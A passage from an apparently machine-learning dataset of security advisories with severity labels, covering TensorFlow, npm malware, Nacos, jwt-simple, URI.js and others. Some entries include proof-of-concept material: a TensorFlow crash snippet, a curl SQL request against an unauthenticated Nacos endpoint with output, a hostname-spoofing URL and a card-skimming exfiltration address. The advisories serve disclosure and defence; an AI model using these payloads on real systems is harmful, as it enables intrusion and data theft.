and GitHub commit [c4d7afb6a5986b04505aca4466ae1951686c80f6](https://github.com/tensorflow/tensorflow/commit/c4d7afb6a5986b04505aca4466ae1951686c80f6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Heap OOB and null pointer dereference in `RaggedTensorToTensor`\n\n[Severity: MEDIUM]\n\n### Impact\nDue to lack of validation in `tf.raw_ops.RaggedTensorToTensor`, an attacker can exploit an undefined behavior if input arguments are empty:\n\n```python\nimport tensorflow as tf\n\nshape = tf.constant([-1, -1], shape=[2], dtype=tf.int64)\nvalues = tf.constant([], shape=[0], dtype=tf.int64)\ndefault_value = tf.constant(404, dtype=tf.int64)\nrow = tf.constant([269, 404, 0, 0, 0, 0, 0], shape=[7], dtype=tf.int64)\nrows = [row]\ntypes = ['ROW_SPLITS']\n\ntf.raw_ops.RaggedTensorToTensor(\n  shape=shape, values=values, default_value=default_value, \n  row_partition_tensors=rows, row_partition_types=types)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L356-L360) only checks that one of the tensors is not empty, but does not check for the other ones.\n\nThere are multiple `DCHECK` validations to prevent heap OOB, but these are no-op in release builds, hence they don't prevent anything.\n\n### Patches\nWe have patched the issue in GitHub commit [b761c9b652af2107cfbc33efd19be0ce41daa33e](https://github.com/tensorflow/tensorflow/commit/b761c9b652af2107cfbc33efd19be0ce41daa33e) followed by GitHub commit [f94ef358bb3e91d517446454edff6535bcfe8e4a](https://github.com/tensorflow/tensorflow/commit/f94ef358bb3e91d517446454edff6535bcfe8e4a) and GitHub commit [c4d7afb6a5986b04505aca4466ae1951686c80f6](https://github.com/tensorflow/tensorflow/commit/c4d7afb6a5986b04505aca4466ae1951686c80f6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "bc424358b87389d9e573", "text": "node-fabric is malware\n\nThe `node-fabric` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "node-fabric is malware\n\n[Severity: HIGH]\n\nThe `node-fabric` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "216de443f338ec335a67", "text": "Cross-site Scripting in edge.js\n\nEdge is a logical and batteries included template engine for Node.js. This affects the package edge.js before 5.3.2. A type confusion vulnerability can be used to bypass input sanitization when the input to be rendered is an array (instead of a string or a SafeValue), even if `{{ }}` are used.", "text_raw": "Cross-site Scripting in edge.js\n\n[Severity: MEDIUM]\n\nEdge is a logical and batteries included template engine for Node.js. This affects the package edge.js before 5.3.2. A type confusion vulnerability can be used to bypass input sanitization when the input to be rendered is an array (instead of a string or a SafeValue), even if `{{ }}` are used.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-22", "split": "train"}
-{"id": "cff946d54569099da437", "text": "Forgeable Public/Private Tokens in jwt-simple\n\nAffected versions of the `jwt-simple` package allow users to select what algorithm the server will use to verify a provided JWT. A malicious actor can use this behaviour to arbitrarily modify the contents of a JWT while still passing verification. For the common use case of the JWT, the end result is a complete authentication bypass with minimal effort.\n\n## Recommendation\n\nUpdate to version 0.3.1 or later.\n\nAdditionally, be sure to always specify an algorithm in calls to `.decode()`.", "text_raw": "Forgeable Public/Private Tokens in jwt-simple\n\n[Severity: CRITICAL]\n\nAffected versions of the `jwt-simple` package allow users to select what algorithm the server will use to verify a provided JWT. A malicious actor can use this behaviour to arbitrarily modify the contents of a JWT while still passing verification. For the common use case of the JWT, the end result is a complete authentication bypass with minimal effort.\n\n\n\n## Recommendation\n\nUpdate to version 0.3.1 or later.\n\nAdditionally, be sure to always specify an algorithm in calls to `.decode()`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "1c3c057eb06450338682", "text": "SOYAL Biometric Access Control System 5.0 Master Code Disclosure", "text_raw": "SOYAL Biometric Access Control System 5.0 Master Code Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "c25451eb46605069df00", "text": "Prototype Pollution in tiny-conf\n\nAll versions of package tiny-conf up to and including version 1.1.0 are vulnerable to Prototype Pollution via the set function.", "text_raw": "Prototype Pollution in tiny-conf\n\n[Severity: CRITICAL]\n\nAll versions of package tiny-conf up to and including version 1.1.0 are vulnerable to Prototype Pollution via the set function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "89b274786113407a91fa", "text": "Resource exhaustion in socket.io-parser\n\nThe `socket.io-parser` npm package before versions 3.3.2 and 3.4.1 allows attackers to cause a denial of service (memory consumption) via a large packet because a concatenation approach is used.", "text_raw": "Resource exhaustion in socket.io-parser\n\n[Severity: HIGH]\n\nThe `socket.io-parser` npm package before versions 3.3.2 and 3.4.1 allows attackers to cause a denial of service (memory consumption) via a large packet because a concatenation approach is used.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-30", "split": "train"}
-{"id": "e5054ba46ce5d5d63c11", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Factory Reset", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Factory Reset\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "7bc5b41ec47c3698fbb7", "text": "Deserialization of Untrusted Data in jackson-databind\n\nFasterXML jackson-databind through 2.8.11 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 and CVE-2017-17485 deserialization flaws. This is exploitable via two different gadgets that bypass a blacklist.", "text_raw": "Deserialization of Untrusted Data in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind through 2.8.11 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 and CVE-2017-17485 deserialization flaws. This is exploitable via two different gadgets that bypass a blacklist.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-30", "split": "train"}
-{"id": "58b3afe17b82064820fc", "text": "Path Traversal in github.com/unknwon/cae/zip\n\nThe ExtractTo function doesn't securely escape file paths in zip archives which include leading or non-leading \"..\". This allows an attacker to add or replace files system-wide.\n\n### Specific Go Packages Affected\ngithub.com/unknwon/cae/zip", "text_raw": "Path Traversal in github.com/unknwon/cae/zip\n\n[Severity: HIGH]\n\nThe ExtractTo function doesn't securely escape file paths in zip archives which include leading or non-leading \"..\". This allows an attacker to add or replace files system-wide.\n\n### Specific Go Packages Affected\ngithub.com/unknwon/cae/zip", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "8b791a8950ae4cb3d484", "text": "Malicious Package in s3asy\n\nVersion 0.4.8 of `s3asy` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.4.8 of this module is found installed you will want to replace it with a version before or after 0.4.8. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.4.7", "text_raw": "Malicious Package in s3asy\n\n[Severity: CRITICAL]\n\nVersion 0.4.8 of `s3asy` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.4.8 of this module is found installed you will want to replace it with a version before or after 0.4.8. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.4.7", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "69cdefa41953f3fa0c63", "text": "XSS vulnerability leveraged through referrers could allow un-authorized admin access in Mautic\n\n### Impact\nThis is a cross-site scripting vulnerability which affects every version of Mautic and could allow an attacker unauthorised administrator level access to Mautic.\n\nThis vulnerability was reported by Naveen Sunkavally at Horizon3.ai.\n\n### Patches\nUpgrade to 3.2.4 or 2.16.5.\n\nLink to patch for 2.x versions: https://github.com/mautic/mautic/compare/2.16.4...2.16.5.diff\n\nLink to patch for 3.x versions: https://github.com/mautic/mautic/compare/3.2.2...3.2.4.diff\n\n### Workarounds\nNone\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Post in https://forum.mautic.org/c/support\n* Email us at security@mautic.org", "text_raw": "XSS vulnerability leveraged through referrers could allow un-authorized admin access in Mautic\n\n[Severity: CRITICAL]\n\n### Impact\nThis is a cross-site scripting vulnerability which affects every version of Mautic and could allow an attacker unauthorised administrator level access to Mautic.\n\nThis vulnerability was reported by Naveen Sunkavally at Horizon3.ai.\n\n### Patches\nUpgrade to 3.2.4 or 2.16.5.\n\nLink to patch for 2.x versions: https://github.com/mautic/mautic/compare/2.16.4...2.16.5.diff\n\nLink to patch for 3.x versions: https://github.com/mautic/mautic/compare/3.2.2...3.2.4.diff\n\n### Workarounds\nNone\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Post in https://forum.mautic.org/c/support\n* Email us at security@mautic.org", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "4bcc14a9268e83d0aaf2", "text": "Insecure Inherited Permissions in neoan3-apps/template\n\n### Impact\nVersions prior 1.1.1 have allowed for passing in closures directly into the template engine. As a result values that are callable are executed by the template engine. The issue arises if a value has the same name as a method or function in scope and can therefore be executed either by mistake or maliciously.\n\nIn theory all users of the package are affected as long as they either deal with direct user input or database values. A multi-step attack on is therefore plausible.\n\n### Patches\nVersion 1.1.1 has addressed this vulnerability. \n```php\n$params = [\n   'reverse' => fn($input) => strrev($input),    // <-- no longer possible with version ~1.1.1\n   'value' => 'My website' \n]\nTemplateFunctions::registerClosure('reverse', fn($input) => strrev($input));  // <-- still possible (and nicely isolated)\nTemplate::embrace('<h1>{{reverse(value)}}</h1>', $params);\n```\n\n### Workarounds\nUnfortunately only working with hardcoded values is safe in prior versions. As this likely defeats the purpose of a template engine, please upgrade.\n\n### References\nAs a possible exploit is relatively easy to achieve, I will not share steps to reproduce the issue for now.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [our repo](https://github.com/sroehrl/neoan3-template)", "text_raw": "Insecure Inherited Permissions in neoan3-apps/template\n\n[Severity: HIGH]\n\n### Impact\nVersions prior 1.1.1 have allowed for passing in closures directly into the template engine. As a result values that are callable are executed by the template engine. The issue arises if a value has the same name as a method or function in scope and can therefore be executed either by mistake or maliciously. \n\nIn theory all users of the package are affected as long as they either deal with direct user input or database values. A multi-step attack on is therefore plausible. \n\n\n### Patches\nVersion 1.1.1 has addressed this vulnerability. \n```php\n$params = [\n   'reverse' => fn($input) => strrev($input),    // <-- no longer possible with version ~1.1.1\n   'value' => 'My website' \n]\nTemplateFunctions::registerClosure('reverse', fn($input) => strrev($input));  // <-- still possible (and nicely isolated)\nTemplate::embrace('<h1>{{reverse(value)}}</h1>', $params);\n```\n\n### Workarounds\nUnfortunately only working with hardcoded values is safe in prior versions. As this likely defeats the purpose of a template engine, please upgrade.\n\n### References\nAs a possible exploit is relatively easy to achieve, I will not share steps to reproduce the issue for now.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [our repo](https://github.com/sroehrl/neoan3-template)\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "b5f2b95726ac9c357696", "text": "Keycloak vulnerable to infinite loop based Denial of Service\n\nWhen Keycloak versions prior to 2.5.5 receive a Logout request with an Extensions in the middle of the request, the SAMLSloRequestParser.parse() method ends in an infinite loop. An attacker could use this flaw to conduct denial of service attacks.", "text_raw": "Keycloak vulnerable to infinite loop based Denial of Service\n\n[Severity: HIGH]\n\nWhen Keycloak versions prior to 2.5.5 receive a Logout request with an Extensions in the middle of the request, the SAMLSloRequestParser.parse() method ends in an infinite loop. An attacker could use this flaw to conduct denial of service attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "9056a0a9aff35035a590", "text": "Withdrawn Advisory: Infinite loop in xz\n\n### Withdrawn Advisory\nThis advisory has been withdrawn because alerts cannot be issued for the Go standard library at this time.\n\n### Original Description\nGo before 1.13.15 and 14.x before 1.14.7 can have an infinite read loop in ReadUvarint and ReadVarint in encoding/binary via invalid inputs.", "text_raw": "Withdrawn Advisory: Infinite loop in xz\n\n[Severity: HIGH]\n\n### Withdrawn Advisory\nThis advisory has been withdrawn because alerts cannot be issued for the Go standard library at this time.\n\n### Original Description\nGo before 1.13.15 and 14.x before 1.14.7 can have an infinite read loop in ReadUvarint and ReadVarint in encoding/binary via invalid inputs.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "01457fe77b2d1d5cc6f5", "text": "Authentication bypass for specific endpoint\n\nThe [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users.\n\nFor example, the following request will list the tables of the database:\n```\n❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'\n{\"code\":200,\"message\":null,\"data\":[{\"TABLENAME\":\"APP_CONFIGDATA_RELATION_PUBS\"},{\"TABLENAME\":\"APP_CONFIGDATA_RELATION_SUBS\"},{\"TABLENAME\":\"APP_LIST\"},{\"TABLENAME\":\"CONFIG_INFO\"},{\"TABLENAME\":\"CONFIG_INFO_AGGR\"},{\"TABLENAME\":\"CONFIG_INFO_BETA\"},{\"TABLENAME\":\"CONFIG_INFO_TAG\"},{\"TABLENAME\":\"CONFIG_TAGS_RELATION\"},{\"TABLENAME\":\"GROUP_CAPACITY\"},{\"TABLENAME\":\"HIS_CONFIG_INFO\"},{\"TABLENAME\":\"PERMISSIONS\"},{\"TABLENAME\":\"ROLES\"},{\"TABLENAME\":\"SYSALIASES\"},{\"TABLENAME\":\"SYSCHECKS\"},{\"TABLENAME\":\"SYSCOLPERMS\"},{\"TABLENAME\":\"SYSCOLUMNS\"},{\"TABLENAME\":\"SYSCONGLOMERATES\"},{\"TABLENAME\":\"SYSCONSTRAINTS\"},{\"TABLENAME\":\"SYSDEPENDS\"},{\"TABLENAME\":\"SYSDUMMY1\"},{\"TABLENAME\":\"SYSFILES\"},{\"TABLENAME\":\"SYSFOREIGNKEYS\"},{\"TABLENAME\":\"SYSKEYS\"},{\"TABLENAME\":\"SYSPERMS\"},{\"TABLENAME\":\"SYSROLES\"},{\"TABLENAME\":\"SYSROUTINEPERMS\"},{\"TABLENAME\":\"SYSSCHEMAS\"},{\"TABLENAME\":\"SYSSEQUENCES\"},{\"TABLENAME\":\"SYSSTATEMENTS\"},{\"TABLENAME\":\"SYSSTATISTICS\"},{\"TABLENAME\":\"SYSTABLEPERMS\"},{\"TABLENAME\":\"SYSTABLES\"},{\"TABLENAME\":\"SYSTRIGGERS\"},{\"TABLENAME\":\"SYSUSERS\"},{\"TABLENAME\":\"SYSVIEWS\"},{\"TABLENAME\":\"TENANT_CAPACITY\"},{\"TABLENAME\":\"TENANT_INFO\"},{\"TABLENAME\":\"USERS\"}]}% \n```\n\nThese endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)", "text_raw": "Authentication bypass for specific endpoint\n\n[Severity: HIGH]\n\nThe [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users. \n\nFor example, the following request will list the tables of the database:\n```\n❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'\n{\"code\":200,\"message\":null,\"data\":[{\"TABLENAME\":\"APP_CONFIGDATA_RELATION_PUBS\"},{\"TABLENAME\":\"APP_CONFIGDATA_RELATION_SUBS\"},{\"TABLENAME\":\"APP_LIST\"},{\"TABLENAME\":\"CONFIG_INFO\"},{\"TABLENAME\":\"CONFIG_INFO_AGGR\"},{\"TABLENAME\":\"CONFIG_INFO_BETA\"},{\"TABLENAME\":\"CONFIG_INFO_TAG\"},{\"TABLENAME\":\"CONFIG_TAGS_RELATION\"},{\"TABLENAME\":\"GROUP_CAPACITY\"},{\"TABLENAME\":\"HIS_CONFIG_INFO\"},{\"TABLENAME\":\"PERMISSIONS\"},{\"TABLENAME\":\"ROLES\"},{\"TABLENAME\":\"SYSALIASES\"},{\"TABLENAME\":\"SYSCHECKS\"},{\"TABLENAME\":\"SYSCOLPERMS\"},{\"TABLENAME\":\"SYSCOLUMNS\"},{\"TABLENAME\":\"SYSCONGLOMERATES\"},{\"TABLENAME\":\"SYSCONSTRAINTS\"},{\"TABLENAME\":\"SYSDEPENDS\"},{\"TABLENAME\":\"SYSDUMMY1\"},{\"TABLENAME\":\"SYSFILES\"},{\"TABLENAME\":\"SYSFOREIGNKEYS\"},{\"TABLENAME\":\"SYSKEYS\"},{\"TABLENAME\":\"SYSPERMS\"},{\"TABLENAME\":\"SYSROLES\"},{\"TABLENAME\":\"SYSROUTINEPERMS\"},{\"TABLENAME\":\"SYSSCHEMAS\"},{\"TABLENAME\":\"SYSSEQUENCES\"},{\"TABLENAME\":\"SYSSTATEMENTS\"},{\"TABLENAME\":\"SYSSTATISTICS\"},{\"TABLENAME\":\"SYSTABLEPERMS\"},{\"TABLENAME\":\"SYSTABLES\"},{\"TABLENAME\":\"SYSTRIGGERS\"},{\"TABLENAME\":\"SYSUSERS\"},{\"TABLENAME\":\"SYSVIEWS\"},{\"TABLENAME\":\"TENANT_CAPACITY\"},{\"TABLENAME\":\"TENANT_INFO\"},{\"TABLENAME\":\"USERS\"}]}% \n```\n\nThese endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-27", "split": "train"}
-{"id": "2c6e9cd4b5fba3888afb", "text": "In Apache Hive 2.3.3, 3.1.0 and earlier, Hive \"EXPLAIN\" operation does not check for necessary authorization of involved entities in a query. An unauthorized user can do \"EXPLAIN\" on arbitrary table or view and expose table metadata and statistics.", "text_raw": "Moderate severity vulnerability that affects org.apache.hive:hive-jdbc\n\n[Severity: MEDIUM]\n\nIn Apache Hive 2.3.3, 3.1.0 and earlier, Hive \"EXPLAIN\" operation does not check for necessary authorization of involved entities in a query. An unauthorized user can do \"EXPLAIN\" on arbitrary table or view and expose table metadata and statistics.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "290fed75d897f1ebc737", "text": "Deserialization of Untrusted Data in Pippo\n\nAn issue was discovered in Pippo 1.11.0. The function SerializationSessionDataTranscoder.decode() calls ObjectInputStream.readObject() to deserialize a SessionData object without checking the object types. An attacker can create a malicious object, base64 encode it, and place it in the PIPPO_SESSION field of a cookie. Sending this cookie may lead to remote code execution.", "text_raw": "Deserialization of Untrusted Data in Pippo\n\n[Severity: CRITICAL]\n\nAn issue was discovered in Pippo 1.11.0. The function SerializationSessionDataTranscoder.decode() calls ObjectInputStream.readObject() to deserialize a SessionData object without checking the object types. An attacker can create a malicious object, base64 encode it, and place it in the PIPPO_SESSION field of a cookie. Sending this cookie may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-24", "split": "train"}
-{"id": "504e67ecb18e376514e2", "text": "Prototype Pollution in async merge-object\n\nThe utilities function in all versions of the merge-object node module can be tricked into modifying the prototype of Object when the attacker can control part of the structure passed to this function. This can let an attacker add or modify existing properties that will exist on all objects.", "text_raw": "Prototype Pollution in async merge-object\n\n[Severity: CRITICAL]\n\nThe utilities function in all versions of the merge-object node module can be tricked into modifying the prototype of Object when the attacker can control part of the structure passed to this function. This can let an attacker add or modify existing properties that will exist on all objects.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-18", "split": "train"}
-{"id": "698f7d88daf0b2604334", "text": "Cross-Site Scripting in @hapi/boom\n\nVersions of `@hapi/boom` prior to 0.3.8 are vulnerable to Cross-Site Scripting (XSS). The package fails to properly escape error messages, which may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 0.3.8 or later.", "text_raw": "Cross-Site Scripting in @hapi/boom\n\n[Severity: MEDIUM]\n\nVersions of `@hapi/boom` prior to 0.3.8 are vulnerable to Cross-Site Scripting (XSS). The package fails to properly escape error messages, which may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 0.3.8 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "7d16bbaadb4c85ee5df3", "text": "Downloads Resources over HTTP in mystem-fix\n\nAffected versions of `mystem-fix` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mystem-fix`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in mystem-fix\n\n[Severity: HIGH]\n\nAffected versions of `mystem-fix` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mystem-fix`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "dd19f44ac092e49d890f", "text": "Authentication bypass in Apache Airflow\n\nThe previous default setting for Airflow's Experimental API was to allow all API requests without authentication, but this poses security risks to users who miss this fact. From Airflow 1.10.11 the default has been changed to deny all requests by default and is documented at https://airflow.apache.org/docs/1.10.11/security.html#api-authentication. Note this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide: https://github.com/apache/airflow/blob/1.10.11/UPDATING.md#experimental-api-will-deny-all-request-by-default", "text_raw": "Authentication bypass in Apache Airflow\n\n[Severity: CRITICAL]\n\nThe previous default setting for Airflow's Experimental API was to allow all API requests without authentication, but this poses security risks to users who miss this fact. From Airflow 1.10.11 the default has been changed to deny all requests by default and is documented at https://airflow.apache.org/docs/1.10.11/security.html#api-authentication. Note this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide: https://github.com/apache/airflow/blob/1.10.11/UPDATING.md#experimental-api-will-deny-all-request-by-default", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "16ba7e12d924b6411501", "text": "CKEditor 4.0 vulnerability in the HTML Data Processor\n\nA cross-site scripting (XSS) vulnerability in the HTML Data Processor for CKEditor 4.0 before 4.14.0 allows remote attackers to inject arbitrary web script through a crafted \"protected\" comment (with the cke_protected syntax).", "text_raw": "CKEditor 4.0 vulnerability in the HTML Data Processor\n\n[Severity: MEDIUM]\n\nA cross-site scripting (XSS) vulnerability in the HTML Data Processor for CKEditor 4.0 before 4.14.0 allows remote attackers to inject arbitrary web script through a crafted \"protected\" comment (with the cke_protected syntax).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "b2fd0da550e7c07a5b29", "text": "Hostname spoofing via backslashes in URL\n\n### Impact\nIf using affected versions to determine a URL's hostname, the hostname can be spoofed by using a backslash (`\\`) character followed by an at (`@`) character. If the hostname is used in security decisions, the decision may be incorrect.\n\nDepending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.\n\nExample URL: `https://expected-example.com\\@observed-example.com`\nEscaped string: `https://expected-example.com\\\\@observed-example.com` (JavaScript strings must escape backslash)\n\nAffected versions incorrectly return `observed-example.com`. Patched versions correctly return `expected-example.com`. Patched versions match the behavior of other parsers which implement the [WHATWG URL specification](https://url.spec.whatwg.org/), including web browsers and [Node's built-in URL class](https://nodejs.org/api/url.html).\n\n### Patches\nVersion 1.19.4 is patched against all known payload variants. Version 1.19.3 has a partial patch but is still vulnerable to a payload variant.\n\n### References\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.4 (complete fix for this bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.3 (partial fix for this bypass)\n[PR #233](https://github.com/medialize/URI.js/pull/233) (initial fix for backslash handling)\n\n### For more information\nIf you have any questions or comments about this advisory, open an issue in https://github.com/medialize/URI.js\n\n### Reporter credit\n[Alesandro Ortiz](https://AlesandroOrtiz.com)", "text_raw": "Hostname spoofing via backslashes in URL\n\n[Severity: MEDIUM]\n\n### Impact\nIf using affected versions to determine a URL's hostname, the hostname can be spoofed by using a backslash (`\\`) character followed by an at (`@`) character. If the hostname is used in security decisions, the decision may be incorrect.\n\nDepending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.\n\nExample URL: `https://expected-example.com\\@observed-example.com`\nEscaped string: `https://expected-example.com\\\\@observed-example.com` (JavaScript strings must escape backslash)\n\nAffected versions incorrectly return `observed-example.com`. Patched versions correctly return `expected-example.com`. Patched versions match the behavior of other parsers which implement the [WHATWG URL specification](https://url.spec.whatwg.org/), including web browsers and [Node's built-in URL class](https://nodejs.org/api/url.html).\n\n### Patches\nVersion 1.19.4 is patched against all known payload variants. Version 1.19.3 has a partial patch but is still vulnerable to a payload variant.\n\n### References\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.4 (complete fix for this bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.3 (partial fix for this bypass)\n[PR #233](https://github.com/medialize/URI.js/pull/233) (initial fix for backslash handling)\n\n### For more information\nIf you have any questions or comments about this advisory, open an issue in https://github.com/medialize/URI.js\n\n### Reporter credit\n[Alesandro Ortiz](https://AlesandroOrtiz.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-30", "split": "train"}
